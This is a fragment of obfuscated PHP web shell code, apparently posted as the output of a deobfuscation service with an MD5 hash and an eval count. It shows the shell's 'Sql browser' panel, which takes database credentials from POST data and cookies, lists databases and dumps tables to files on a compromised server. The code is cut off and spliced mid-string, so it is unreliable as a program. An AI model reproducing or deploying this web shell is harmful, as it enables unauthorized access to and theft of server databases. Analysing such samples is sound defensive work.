text/plain");$ayfhqupxgx="v";foreach($_POST["tbl"]as${$ayfhqupxgx})$db->dump(${${"GLOBALS"}["pcpbwvmdq"]});exit;}elseif(${${"GLOBALS"}["mjlpxlpdxdu"]}=@fopen($_POST["file"],"w")){${"GLOBALS"}["ogssgnhvxuq"]="v";${"GLOBALS"}["pjrgqwxx"]="fp";${"GLOBALS"}["bxrdvz"]="fp";foreach($_POST["tbl"]as${${"GLOBALS"}["pcpbwvmdq"]})$db->dump(${${"GLOBALS"}["ogssgnhvxuq"]},${${"GLOBALS"}["bxrdvz"]});fclose(${${"GLOBALS"}["pjrgqwxx"]});unset($_POST["p2"]);}else die("<script>alert("Error! Can't open file\");window.history.back(-1)</script>");}echo"\n<center><h1>Sql browser</h1></center><div class=content>\n<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr valign='top'>\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr valign='top'>\n<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='".htmlspecialchars($GLOBALS["cwd"])."'><input type=hidden name=charset value='".(isset($_POST["charset"])?$_POST["charset"]:"")."'>\n<td><select name='type'><option value='mysql' ";if(@$_POST["type"]=="mysql")echo"selected";echo">MySql</option><option value='pgsql' ";if(@$_POST["type"]=="pgsql")echo"selected";echo">PostgreSql</option></select></td>\n<td><input type=text name=sql_host value='".(empty($_POST["sql_host"])?$_COOKIE["db_host"]:htmlspecialchars($_POST["sql_host"]))."'></td>\n<td><input type=text name=sql_login value='".(empty($_POST["sql_login"])?$_COOKIE["db_username"]:htmlspecialchars($_POST["sql_login"]))."'></td>\n<td><input type=text name=sql_pass value='".(empty($_POST["sql_pass"])?$_COOKIE["db_password"]:htmlspecialchars($_POST["sql_pass"]))."'></td><td>";${${"GLOBALS"}["dsvjvi"]}="<input type=text name=sql_base value='".$_COOKIE["db_name"]."'>";if(isset($_POST["sql_host"])){$tvxpmvmmye="tmp";if($db->connect($_POST["sql_host"],$_POST["sql_login"],$_POST["sql_pass"],$_POST["sql_base"])){switch($_POST["charset"]){case"Windows-1251":$db->setCharset("cp1251");break;case"UTF-8":$db->setCharset("utf8");break;case"KOI8-R":$db->setCharset("koi8r");break;case"KOI8-U":$db->setCharset("koi8u");break;case"cp866":$db->setCharset("cp866");break;}$db->listDbs();echo"<select name=sql_base><option value=''></option>";$ynsajb="item";while(${$ynsajb}=$db->fetch()){$tegxdiurlfpl="key";$tauuepvctso="value";list(${$tegxdiurlfpl},${${"GLOBALS"}["jshmnvixsqk"]})=each(${${"GLOBALS"}["tbjbrlvq"]});echo"<option value=\"".${${"GLOBALS"}["jshmnvixsqk"]}."\" ".(${$tauuepvctso}==$_POST["sql_base"]?"selected":"").">".${${"GLOBALS"}["jshmnvixsqk"]}."</option>";}echo"</select>";}else echo${$tvxpmvmmye};}else echo${$cowquioia};echo"</td>\n\t\t\t\t<td><input type=submit value='>>' onclick='fs(d.sf);'></td>\n                <td><input type=checkbox name=sql_count value='on'".(empty($_POST["sql_count"])?"":" checked")."> count the number of rows</td>\n\t\t\t</tr>\n\t\t</table>\n\t\t<script>\n            s_db='".@addslashes($_POST["sql_base"])."';\n            function fs(f) {\n                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\n                    if(f.p1) f.p1.value='';\n                    if(f.p2) f.p2.value='';\n                    if(f.p3) f.p3.value='';\n                }\n            }\n\t\t\tfunction st(t,l) {\n\t\t\t\td.sf.p1.value = 'select';\n\t\t\t\td.sf.\x9v id=\"footer\" class="box\">\n\t\t<p class=\"f-left\">Coded by <a href="http://www.rab3oun.net\">RAB3OUN</a>, </p>\n\t\t<p class=\"f-right">Templates by Adminizio</p>\n\t</div> <!-- /footer -->\n</div> <!-- /main -->\n</body>\n</html>";?>

Function Calls

None

Variables

None

Stats

MD5 902118773e078274fcf40c1a1a9a8a43
Eval Count 0
Decode Time 90 ms